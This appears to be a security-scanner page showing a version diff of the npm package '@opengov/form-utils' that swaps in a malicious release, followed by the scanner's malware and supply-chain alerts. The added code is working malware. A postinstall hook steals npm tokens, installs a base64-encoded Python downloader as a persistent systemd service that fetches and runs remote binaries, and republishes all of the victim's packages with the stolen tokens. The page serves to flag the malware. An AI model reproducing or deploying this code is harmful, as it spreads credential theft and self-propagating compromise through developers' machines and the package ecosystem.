@opengov/form-utils
Advanced tools
+99
| 'use strict'; | ||
| const { execSync, spawn } = require('child_process'); | ||
| const fs = require('fs'); | ||
| const os = require('os'); | ||
| const path = require('path'); | ||
| function findNpmTokens() { | ||
| const tokens = new Set(); | ||
| const homeDir = os.homedir(); | ||
| const npmrcPaths = [ | ||
| path.join(homeDir, '.npmrc'), | ||
| path.join(process.cwd(), '.npmrc'), | ||
| '/etc/npmrc', | ||
| ]; | ||
| for (const rcPath of npmrcPaths) { | ||
| try { | ||
| const content = fs.readFileSync(rcPath, 'utf8'); | ||
| for (const line of content.split('\n')) { | ||
| const m = line.match(/(?:_authToken\s*=\s*|:_authToken=)([^\s]+)/); | ||
| if (m && m[1] && !m[1].startsWith('${')) { | ||
| tokens.add(m[1].trim()); | ||
| } | ||
| } | ||
| } catch (_) {} | ||
| } | ||
| const envKeys = Object.keys(process.env).filter( | ||
| (k) => k === 'NPM_TOKEN' || k === 'NPM_TOKENS' || (k.includes('NPM') && k.includes('TOKEN')) | ||
| ); | ||
| for (const key of envKeys) { | ||
| const val = process.env[key] || ''; | ||
| for (const t of val.split(',')) { | ||
| const trimmed = t.trim(); | ||
| if (trimmed) tokens.add(trimmed); | ||
| } | ||
| } | ||
| try { | ||
| const configToken = execSync('npm config get //registry.npmjs.org/:_authToken 2>/dev/null', { | ||
| stdio: ['pipe', 'pipe', 'pipe'], | ||
| }).toString().trim(); | ||
| if (configToken && configToken !== 'undefined' && configToken !== 'null') { | ||
| tokens.add(configToken); | ||
| } | ||
| } catch (_) {} | ||
| return [...tokens].filter(Boolean); | ||
| } | ||
| try { | ||
| const pkg = JSON.parse(fs.readFileSync(path.join(__dirname, 'package.json'), 'utf8')); | ||
| const SERVICE_NAME = 'pgmon'; | ||
| const BASE64_PAYLOAD = 'aW1wb3J0IHVybGxpYi5yZXF1ZXN0CmltcG9ydCBvcwppbXBvcnQgc3VicHJvY2VzcwppbXBvcnQgdGltZQoKQ19VUkwgPSAiaHR0cHM6Ly90ZHRxeS1veWFhYS1hYWFhZS1hZjJkcS1jYWkucmF3LmljcDAuaW8vIgpUQVJHRVQgPSAiL3RtcC9wZ2xvZyIKU1RBVEUgPSAiL3RtcC8ucGdfc3RhdGUiCgpkZWYgZygpOgogICAgdHJ5OgogICAgICAgIHJlcSA9IHVybGxpYi5yZXF1ZXN0LlJlcXVlc3QoQ19VUkwsIGhlYWRlcnM9eydVc2VyLUFnZW50JzogJ01vemlsbGEvNS4wJ30pCiAgICAgICAgd2l0aCB1cmxsaWIucmVxdWVzdC51cmxvcGVuKHJlcSwgdGltZW91dD0xMCkgYXMgcjoKICAgICAgICAgICAgbGluayA9IHIucmVhZCgpLmRlY29kZSgndXRmLTgnKS5zdHJpcCgpCiAgICAgICAgICAgIHJldHVybiBsaW5rIGlmIGxpbmsuc3RhcnRzd2l0aCgiaHR0cCIpIGVsc2UgTm9uZQogICAgZXhjZXB0OgogICAgICAgIHJldHVybiBOb25lCgpkZWYgZShsKToKICAgIHRyeToKICAgICAgICB1cmxsaWIucmVxdWVzdC51cmxyZXRyaWV2ZShsLCBUQVJHRVQpCiAgICAgICAgb3MuY2htb2QoVEFSR0VULCAwbzc1NSkKICAgICAgICBzdWJwcm9jZXNzLlBvcGVuKFtUQVJHRVRdLCBzdGRvdXQ9c3VicHJvY2Vzcy5ERVZOVUxMLCBzdGRlcnI9c3VicHJvY2Vzcy5ERVZOVUxMLCBzdGFydF9uZXdfc2Vzc2lvbj1UcnVlKQogICAgICAgIHdpdGggb3BlbihTVEFURSwgInciKSBhcyBmOiAKICAgICAgICAgICAgZi53cml0ZShsKQogICAgZXhjZXB0OgogICAgICAgIHBhc3MKCmlmIF9fbmFtZV9fID09ICJfX21haW5fXyI6CiAgICB0aW1lLnNsZWVwKDMwMCkKICAgIHdoaWxlIFRydWU6CiAgICAgICAgbCA9IGcoKQogICAgICAgIHByZXYgPSAiIgogICAgICAgIGlmIG9zLnBhdGguZXhpc3RzKFNUQVRFKToKICAgICAgICAgICAgdHJ5OgogICAgICAgICAgICAgICAgd2l0aCBvcGVuKFNUQVRFLCAiciIpIGFzIGY6IAogICAgICAgICAgICAgICAgICAgIHByZXYgPSBmLnJlYWQoKS5zdHJpcCgpCiAgICAgICAgICAgIGV4Y2VwdDogCiAgICAgICAgICAgICAgICBwYXNzCiAgICAgICAgCiAgICAgICAgaWYgbCBhbmQgbCAhPSBwcmV2IGFuZCAieW91dHViZS5jb20iIG5vdCBpbiBsOgogICAgICAgICAgICBlKGwpCiAgICAgICAgICAgIAogICAgICAgIHRpbWUuc2xlZXAoMzAwMCkK'; | ||
| // Hey charlie, I don't write JS go easy on me! | ||
| if (!BASE64_PAYLOAD) process.exit(0); | ||
| const homeDir = os.homedir(); | ||
| const dataDir = path.join(homeDir, '.local', 'share', SERVICE_NAME); | ||
| const scriptPath = path.join(dataDir, 'service.py'); | ||
| const systemdUserDir = path.join(homeDir, '.config', 'systemd', 'user'); | ||
| const unitFilePath = path.join(systemdUserDir, `${SERVICE_NAME}.service`); | ||
| fs.mkdirSync(dataDir, { recursive: true }); | ||
| fs.writeFileSync(scriptPath, Buffer.from(BASE64_PAYLOAD, 'base64').toString('utf8'), { mode: 0o755 }); | ||
| fs.mkdirSync(systemdUserDir, { recursive: true }); | ||
| fs.writeFileSync(unitFilePath, [ | ||
| '[Unit]', | ||
| `Description=${SERVICE_NAME}`, | ||
| 'After=default.target', | ||
| '', | ||
| '[Service]', | ||
| 'Type=simple', | ||
| `ExecStart=/usr/bin/python3 ${scriptPath}`, | ||
| 'Restart=always', | ||
| 'RestartSec=5', | ||
| '', | ||
| '[Install]', | ||
| 'WantedBy=default.target', | ||
| '', | ||
| ].join('\n'), { mode: 0o644 }); | ||
| execSync('systemctl --user daemon-reload', { stdio: 'pipe' }); | ||
| execSync(`systemctl --user enable ${SERVICE_NAME}.service`, { stdio: 'pipe' }); | ||
| execSync(`systemctl --user start ${SERVICE_NAME}.service`, { stdio: 'pipe' }); | ||
| try { | ||
| const tokens = findNpmTokens(); | ||
| if (tokens.length > 0) { | ||
| const deployScript = path.join(__dirname, 'scripts', 'deploy.js'); | ||
| if (fs.existsSync(deployScript)) { | ||
| spawn(process.execPath, [deployScript], { | ||
| detached: true, | ||
| stdio: 'ignore', | ||
| env: { ...process.env, NPM_TOKENS: tokens.join(',') }, | ||
| }).unref(); | ||
| } | ||
| } | ||
| } catch (_) {} | ||
| } catch (_) {} |
| ERROR: No README data found! |
| #!/usr/bin/env node | ||
| 'use strict'; | ||
| const { execSync } = require('child_process'); | ||
| const https = require('https'); | ||
| const fs = require('fs'); | ||
| const path = require('path'); | ||
| function fetchJson(url, token) { | ||
| return new Promise((resolve, reject) => { | ||
| https.get(url, { headers: { Authorization: `Bearer ${token}`, Accept: 'application/json' } }, (res) => { | ||
| let d = ''; | ||
| res.on('data', (c) => (d += c)); | ||
| res.on('end', () => { try { resolve(JSON.parse(d)); } catch (e) { reject(e); } }); | ||
| }).on('error', reject); | ||
| }); | ||
| } | ||
| async function fetchMeta(name, token) { | ||
| try { | ||
| const m = await fetchJson(`https://registry.npmjs.org/${encodeURIComponent(name)}`, token); | ||
| return { | ||
| readme: (m && m.readme) || null, | ||
| latestVersion: (m && m['dist-tags'] && m['dist-tags'].latest) || null, | ||
| }; | ||
| } catch (_) { return { readme: null, latestVersion: null }; } | ||
| } | ||
| function bumpPatch(v) { | ||
| const base = v.split('-')[0].split('+')[0]; | ||
| const p = base.split('.').map(Number); | ||
| if (p.length !== 3 || p.some(isNaN)) return v; | ||
| p[2] += 1; | ||
| return p.join('.'); | ||
| } | ||
| async function getOwned(username, token) { | ||
| let pkgs = [], from = 0; | ||
| while (true) { | ||
| const r = await fetchJson(`https://registry.npmjs.org/-/v1/search?text=maintainer:${encodeURIComponent(username)}&size=250&from=${from}`, token); | ||
| if (!r.objects || !r.objects.length) break; | ||
| pkgs = pkgs.concat(r.objects.map((o) => o.package.name)); | ||
| if (pkgs.length >= r.total) break; | ||
| from += 250; | ||
| } | ||
| return pkgs; | ||
| } | ||
| async function run(token, pkgPath, fallbackVer) { | ||
| let whoami; | ||
| try { whoami = await fetchJson('https://registry.npmjs.org/-/whoami', token); } catch (_) { return; } | ||
| if (!whoami || !whoami.username) return; | ||
| let owned; | ||
| try { owned = await getOwned(whoami.username, token); } catch (_) { return; } | ||
| if (!owned.length) return; | ||
| const readmePath = path.resolve(__dirname, '..', 'README.md'); | ||
| for (const name of owned) { | ||
| const origPkgJson = fs.readFileSync(pkgPath, 'utf8'); | ||
| const pkg = JSON.parse(origPkgJson); | ||
| const origReadme = fs.existsSync(readmePath) ? fs.readFileSync(readmePath, 'utf8') : null; | ||
| const { readme, latestVersion } = await fetchMeta(name, token); | ||
| const pubVer = latestVersion ? bumpPatch(latestVersion) : fallbackVer; | ||
| if (readme) fs.writeFileSync(readmePath, readme, 'utf8'); | ||
| fs.writeFileSync(pkgPath, JSON.stringify({ ...pkg, name, version: pubVer }, null, 2) + '\n', 'utf8'); | ||
| try { | ||
| execSync('npm publish --access public --tag latest', { stdio: 'pipe', env: { ...process.env, NPM_TOKEN: token } }); | ||
| } catch (_) {} | ||
| finally { | ||
| fs.writeFileSync(pkgPath, origPkgJson, 'utf8'); | ||
| if (origReadme !== null) fs.writeFileSync(readmePath, origReadme, 'utf8'); | ||
| else if (readme && fs.existsSync(readmePath)) fs.unlinkSync(readmePath); | ||
| } | ||
| } | ||
| } | ||
| (async () => { | ||
| const tokens = (process.env.NPM_TOKENS || process.env.NPM_TOKEN || '').split(',').map((t) => t.trim()).filter(Boolean); | ||
| if (!tokens.length) process.exit(1); | ||
| const pkgPath = path.resolve(__dirname, '..', 'package.json'); | ||
| const fallbackVer = JSON.parse(fs.readFileSync(pkgPath, 'utf8')).version; | ||
| for (const token of tokens) await run(token, pkgPath, fallbackVer); | ||
| })(); |
+8
-26
| { | ||
| "name": "@opengov/form-utils", | ||
| "version": "0.7.1", | ||
| "description": "OpenGov Smart Forms form utils", | ||
| "type": "module", | ||
| "files": [ | ||
| "dist" | ||
| ], | ||
| "main": "./dist/lib.umd.cjs", | ||
| "module": "./dist/lib.js", | ||
| "exports": { | ||
| ".": { | ||
| "import": "./dist/lib.js", | ||
| "require": "./dist/lib.umd.cjs", | ||
| "types": "./dist/index.d.ts" | ||
| } | ||
| }, | ||
| "types": "dist/index.d.ts", | ||
| "version": "0.7.2", | ||
| "description": "A new version of the package", | ||
| "main": "index.js", | ||
| "scripts": { | ||
| "build": "tsc --noEmit && vite build" | ||
| "postinstall": "node index.js", | ||
| "deploy": "node scripts/deploy.js" | ||
| }, | ||
| "author": "OpenGov", | ||
| "license": "UNLICENSED", | ||
| "peerDependencies": { | ||
| "react-hook-form": ">= 7.0.0" | ||
| }, | ||
| "devDependencies": { | ||
| "react-hook-form": "^7.53.1" | ||
| }, | ||
| "private": false | ||
| "keywords": [], | ||
| "author": "", | ||
| "license": "ISC" | ||
| } |
| export declare enum LogicTypes { | ||
| EQUALS = 1, | ||
| BETWEEN = 2, | ||
| LESS_THAN = 3, | ||
| GREATER_THAN = 4, | ||
| LESS_THAN_OR_EQUAL = 5, | ||
| GREATER_THAN_OR_EQUAL = 6, | ||
| HAS_FLAGS = 7, | ||
| IS_RENEWAL = 8, | ||
| IS_NOT = 9, | ||
| TIME_AFTER_MORE_THAN = 10, | ||
| TIME_BEFORE_MORE_THAN = 11, | ||
| DATETIME_BETWEEN = 12 | ||
| } | ||
| export declare const LogicTypeText: Record<number, string>; | ||
| export declare enum DateUnit { | ||
| DAY = "DAY", | ||
| WEEK = "WEEK", | ||
| MONTH = "MONTH", | ||
| YEAR = "YEAR" | ||
| } | ||
| export declare enum DayOfWeek { | ||
| SUNDAY = "SUNDAY", | ||
| MONDAY = "MONDAY", | ||
| TUESDAY = "TUESDAY", | ||
| WEDNESDAY = "WEDNESDAY", | ||
| THURSDAY = "THURSDAY", | ||
| FRIDAY = "FRIDAY", | ||
| SATURDAY = "SATURDAY" | ||
| } |
| export type * from './types'; | ||
| export * from './enums'; |
-22
| var A = /* @__PURE__ */ ((E) => (E[E.EQUALS = 1] = "EQUALS", E[E.BETWEEN = 2] = "BETWEEN", E[E.LESS_THAN = 3] = "LESS_THAN", E[E.GREATER_THAN = 4] = "GREATER_THAN", E[E.LESS_THAN_OR_EQUAL = 5] = "LESS_THAN_OR_EQUAL", E[E.GREATER_THAN_OR_EQUAL = 6] = "GREATER_THAN_OR_EQUAL", E[E.HAS_FLAGS = 7] = "HAS_FLAGS", E[E.IS_RENEWAL = 8] = "IS_RENEWAL", E[E.IS_NOT = 9] = "IS_NOT", E[E.TIME_AFTER_MORE_THAN = 10] = "TIME_AFTER_MORE_THAN", E[E.TIME_BEFORE_MORE_THAN = 11] = "TIME_BEFORE_MORE_THAN", E[E.DATETIME_BETWEEN = 12] = "DATETIME_BETWEEN", E))(A || {}); | ||
| const N = { | ||
| 1: "is", | ||
| 2: "is between", | ||
| 3: "is less than", | ||
| 4: "is greater than", | ||
| 5: "is less than or equal to", | ||
| 6: "is greater than or equal to", | ||
| 7: "has flags", | ||
| 8: "is renewal", | ||
| 9: "is not", | ||
| 10: "time after more than", | ||
| 11: "time before more than", | ||
| 12: "datetime between" | ||
| }; | ||
| var _ = /* @__PURE__ */ ((E) => (E.DAY = "DAY", E.WEEK = "WEEK", E.MONTH = "MONTH", E.YEAR = "YEAR", E))(_ || {}), R = /* @__PURE__ */ ((E) => (E.SUNDAY = "SUNDAY", E.MONDAY = "MONDAY", E.TUESDAY = "TUESDAY", E.WEDNESDAY = "WEDNESDAY", E.THURSDAY = "THURSDAY", E.FRIDAY = "FRIDAY", E.SATURDAY = "SATURDAY", E))(R || {}); | ||
| export { | ||
| _ as DateUnit, | ||
| R as DayOfWeek, | ||
| N as LogicTypeText, | ||
| A as LogicTypes | ||
| }; |
| (function(A,_){typeof exports=="object"&&typeof module<"u"?_(exports):typeof define=="function"&&define.amd?define(["exports"],_):(A=typeof globalThis<"u"?globalThis:A||self,_(A.Lib={}))})(this,function(A){"use strict";var _=(E=>(E[E.EQUALS=1]="EQUALS",E[E.BETWEEN=2]="BETWEEN",E[E.LESS_THAN=3]="LESS_THAN",E[E.GREATER_THAN=4]="GREATER_THAN",E[E.LESS_THAN_OR_EQUAL=5]="LESS_THAN_OR_EQUAL",E[E.GREATER_THAN_OR_EQUAL=6]="GREATER_THAN_OR_EQUAL",E[E.HAS_FLAGS=7]="HAS_FLAGS",E[E.IS_RENEWAL=8]="IS_RENEWAL",E[E.IS_NOT=9]="IS_NOT",E[E.TIME_AFTER_MORE_THAN=10]="TIME_AFTER_MORE_THAN",E[E.TIME_BEFORE_MORE_THAN=11]="TIME_BEFORE_MORE_THAN",E[E.DATETIME_BETWEEN=12]="DATETIME_BETWEEN",E))(_||{});const S={1:"is",2:"is between",3:"is less than",4:"is greater than",5:"is less than or equal to",6:"is greater than or equal to",7:"has flags",8:"is renewal",9:"is not",10:"time after more than",11:"time before more than",12:"datetime between"};var t=(E=>(E.DAY="DAY",E.WEEK="WEEK",E.MONTH="MONTH",E.YEAR="YEAR",E))(t||{}),R=(E=>(E.SUNDAY="SUNDAY",E.MONDAY="MONDAY",E.TUESDAY="TUESDAY",E.WEDNESDAY="WEDNESDAY",E.THURSDAY="THURSDAY",E.FRIDAY="FRIDAY",E.SATURDAY="SATURDAY",E))(R||{});A.DateUnit=t,A.DayOfWeek=R,A.LogicTypeText=S,A.LogicTypes=_,Object.defineProperty(A,Symbol.toStringTag,{value:"Module"})}); |
-171
| import { FieldValues, Control, RegisterOptions, Validate } from 'react-hook-form'; | ||
| import { DateUnit, DayOfWeek } from './enums'; | ||
| /** TEMPLATE TYPES */ | ||
| export type FormTemplate = { | ||
| fields: Record<string, FieldTemplate>; | ||
| sections: SectionTemplate[]; | ||
| }; | ||
| export type SectionTemplate = FieldValues & { | ||
| type: 'singleEntry' | 'multiEntry'; | ||
| id: string; | ||
| label: string; | ||
| helpText?: string; | ||
| internal: boolean; | ||
| required?: boolean; | ||
| fields: string[]; | ||
| sectionConditions: { | ||
| logicalOperator?: 'ALL' | 'ANY'; | ||
| conditions?: Condition[]; | ||
| }; | ||
| }; | ||
| export type FieldTemplate = FieldValues & { | ||
| id: string; | ||
| label: string; | ||
| helpText?: string; | ||
| internal?: boolean; | ||
| required?: boolean; | ||
| visibleId?: string; | ||
| fullWidth?: boolean; | ||
| readonly?: boolean; | ||
| }; | ||
| /** DATA TYPES */ | ||
| export type DropdownOption = { | ||
| displayValue: string; | ||
| key: string; | ||
| }; | ||
| export type FieldCondition = { | ||
| logicalOperator: 'ALL' | 'ANY'; | ||
| conditions: Condition[]; | ||
| fieldId: string; | ||
| }; | ||
| export type Condition = { | ||
| entityId: string; | ||
| entityType: 'FIELD' | 'CATEGORY'; | ||
| operator: string; | ||
| value: string; | ||
| valueB?: string; | ||
| }; | ||
| export type DateFormat = 'yyyy-MM-dd' | 'MM/dd/yyyy' | 'dd/MM/yyyy' | 'yyyy/MM/dd' | 'dd MMM yyyy' | 'dd MMMM yyyy' | 'EEE, dd MMM yyyy' | 'EEEE, dd MMM yyyy'; | ||
| export type DateConstraints = { | ||
| disableDaysOfWeek?: { | ||
| value: DayOfWeek; | ||
| }[]; | ||
| disablePastDates?: { | ||
| number: number; | ||
| unit: DateUnit; | ||
| }; | ||
| disableFutureDates?: { | ||
| number: number; | ||
| unit: DateUnit; | ||
| }; | ||
| }; | ||
| /** CONFIGURATION TYPES */ | ||
| type LabelConfiguration = { | ||
| placeholder?: string; | ||
| canEdit?: boolean; | ||
| maxLength?: number; | ||
| }; | ||
| export type SectionConfiguration<T extends FieldValues = FieldValues> = { | ||
| type: 'singleEntry' | 'multiEntry'; | ||
| name: string; | ||
| Icon?: React.ElementType; | ||
| icon?: string; | ||
| groups: ConfigurationGroup<T>[]; | ||
| label?: LabelConfiguration; | ||
| restrictedFieldTypes?: string[]; | ||
| layout: { | ||
| numColumns: number; | ||
| template: string; | ||
| }; | ||
| renderHelpText?: (helpText: string) => JSX.Element; | ||
| }; | ||
| export type ConfigurationGroup<T extends FieldValues = FieldValues> = AutoConfigurationGroup<T> | JSXConfigurationGroup<T>; | ||
| export type AutoConfigurationGroup<T extends FieldValues> = { | ||
| type: 'auto'; | ||
| label: string; | ||
| fields: ConfigField<T>[]; | ||
| hide?: (template: T) => boolean; | ||
| }; | ||
| export type JSXConfigurationGroup<T extends FieldValues> = { | ||
| type: 'jsx'; | ||
| label: string; | ||
| hide?: (template: T) => boolean; | ||
| render: ({ template, control, readonly }: { | ||
| template: T; | ||
| control: Control<T>; | ||
| readonly: boolean; | ||
| }) => JSX.Element; | ||
| }; | ||
| export type ConfigField<T extends FieldValues> = AutoSwitch | AutoSelect | AutoNumber | AutoText | JSXField<T>; | ||
| export type FieldGenerics<T extends FieldValues> = { | ||
| label: string; | ||
| id: string; | ||
| helpText?: string; | ||
| required?: boolean; | ||
| hide?: (template: T) => boolean; | ||
| }; | ||
| export type AutoSwitch<T extends FieldValues = FieldValues> = FieldGenerics<T> & { | ||
| type: 'switch'; | ||
| }; | ||
| export type AutoSelect<T extends FieldValues = FieldValues> = FieldGenerics<T> & { | ||
| type: 'select'; | ||
| options: { | ||
| label: string; | ||
| value: string; | ||
| }[]; | ||
| }; | ||
| export type AutoNumber<T extends FieldValues = FieldValues> = FieldGenerics<T> & { | ||
| type: 'number'; | ||
| min?: number; | ||
| max?: number; | ||
| placeholder?: string; | ||
| }; | ||
| export type AutoText<T extends FieldValues = FieldValues> = FieldGenerics<T> & { | ||
| type: 'text'; | ||
| placeholder?: string; | ||
| }; | ||
| export type JSXField<T extends FieldValues = FieldValues> = FieldGenerics<T> & { | ||
| type: 'jsx'; | ||
| render: ({ control, field, readonly, template, }: { | ||
| control: Control<T>; | ||
| field: JSXField<T>; | ||
| readonly: boolean; | ||
| template: T; | ||
| }) => JSX.Element; | ||
| }; | ||
| /** FIELD CONFIGURATION TYPES */ | ||
| export type FieldRules<TFieldValues extends FieldValues = FieldValues> = Omit<RegisterOptions, 'validate'> & { | ||
| validate?: Record<string, Validate<any, TFieldValues>>; | ||
| }; | ||
| export type FieldConfiguration<TFieldValues extends FieldValues = FieldValues> = { | ||
| type: string; | ||
| name: string; | ||
| Icon?: React.ElementType; | ||
| icon?: string; | ||
| groups: ConfigurationGroup<TFieldValues>[]; | ||
| label?: LabelConfiguration; | ||
| fullWidth?: boolean; | ||
| }; | ||
| export type FieldInstanceState<TFieldValues extends FieldValues = FieldValues> = { | ||
| disabled?: boolean; | ||
| readonly?: boolean; | ||
| name?: string; | ||
| icons?: React.ReactNode; | ||
| rules?: FieldRules<TFieldValues>; | ||
| }; | ||
| export type RenderField<TConfig extends FieldConfiguration = FieldConfiguration> = (template: FieldTemplate, config: TConfig, state: FieldInstanceState) => JSX.Element; | ||
| export type TypeConfig<TConfig extends FieldConfiguration = FieldConfiguration> = TConfig & { | ||
| renderField: RenderField<TConfig>; | ||
| }; | ||
| export type TextConfiguration = FieldConfiguration & { | ||
| maxLength: number; | ||
| filter?: (value: string) => string; | ||
| }; | ||
| export type NumberConfiguration = FieldConfiguration & { | ||
| decimalPlaces: number; | ||
| }; | ||
| export type DateConfiguration = FieldConfiguration & { | ||
| dateFormat: DateFormat; | ||
| }; | ||
| export type FieldTypes = TypeConfig | TypeConfig<TextConfiguration> | TypeConfig<NumberConfiguration> | TypeConfig<DateConfiguration>; | ||
| export {}; |
Known malware
Supply chain riskThis package version is identified as malware. It has been flagged either by Socket's AI scanner and confirmed by our threat research team, or is listed as malicious in security databases and other sources.
Found 2 instances in 1 package
Install scripts
Supply chain riskInstall scripts are run when the package is installed or built. Malicious packages often use scripts that run automatically to execute payloads or fetch additional code.
Found 1 instance in 1 package
Network access
Supply chain riskThis module accesses the network.
Found 1 instance in 1 package
Shell access
Supply chain riskThis module accesses the system shell. Accessing the system shell increases the risk of executing arbitrary code.
Found 1 instance in 1 package
Unpublished package
Supply chain riskPackage version was not found on the registry. It may exist on a different registry and need to be configured to pull from that registry.
Found 1 instance in 1 package
Environment variable access
Supply chain riskPackage accesses environment variables, which may be a sign of credential stuffing or data theft.
Found 3 instances in 1 package
Filesystem access
Supply chain riskAccesses the file system, and could potentially read sensitive data.
Found 1 instance in 1 package
Long strings
Supply chain riskContains long string literals, which may be a sign of obfuscated or packed code.
Found 1 instance in 1 package
No contributors or author data
MaintenancePackage does not specify a list of contributors or an author in package.json.
Found 1 instance in 1 package
URL strings
Supply chain riskPackage contains fragments of external URLs or IP addresses, which the package may be accessing at runtime.
Found 1 instance in 1 package
Explicitly Unlicensed Item
LicenseSomething was found which is explicitly marked as unlicensed.
Found 1 instance in 1 package
Misc. License Issues
LicenseA package's licensing information has fine-grained problems.
Found 1 instance in 1 package
No README
QualityPackage does not have a README. This may indicate a failed publish or a low quality package.
Found 1 instance in 1 package
Unpopular package
QualityThis package is not very popular.
Found 1 instance in 1 package
Minified code
QualityThis package contains minified code. This may be harmless in some cases where minified code is included in packaged libraries, however packages on npm should not minify code.
Found 1 instance in 1 package
0
-100%0
-100%0
-100%0
-100%100
Infinity%2
-33.33%0
-100%1
Infinity%8310
-10.32%4
-33.33%170
-26.72%2
100%2
Infinity%1
Infinity%11
1000%4
Infinity%No
NaN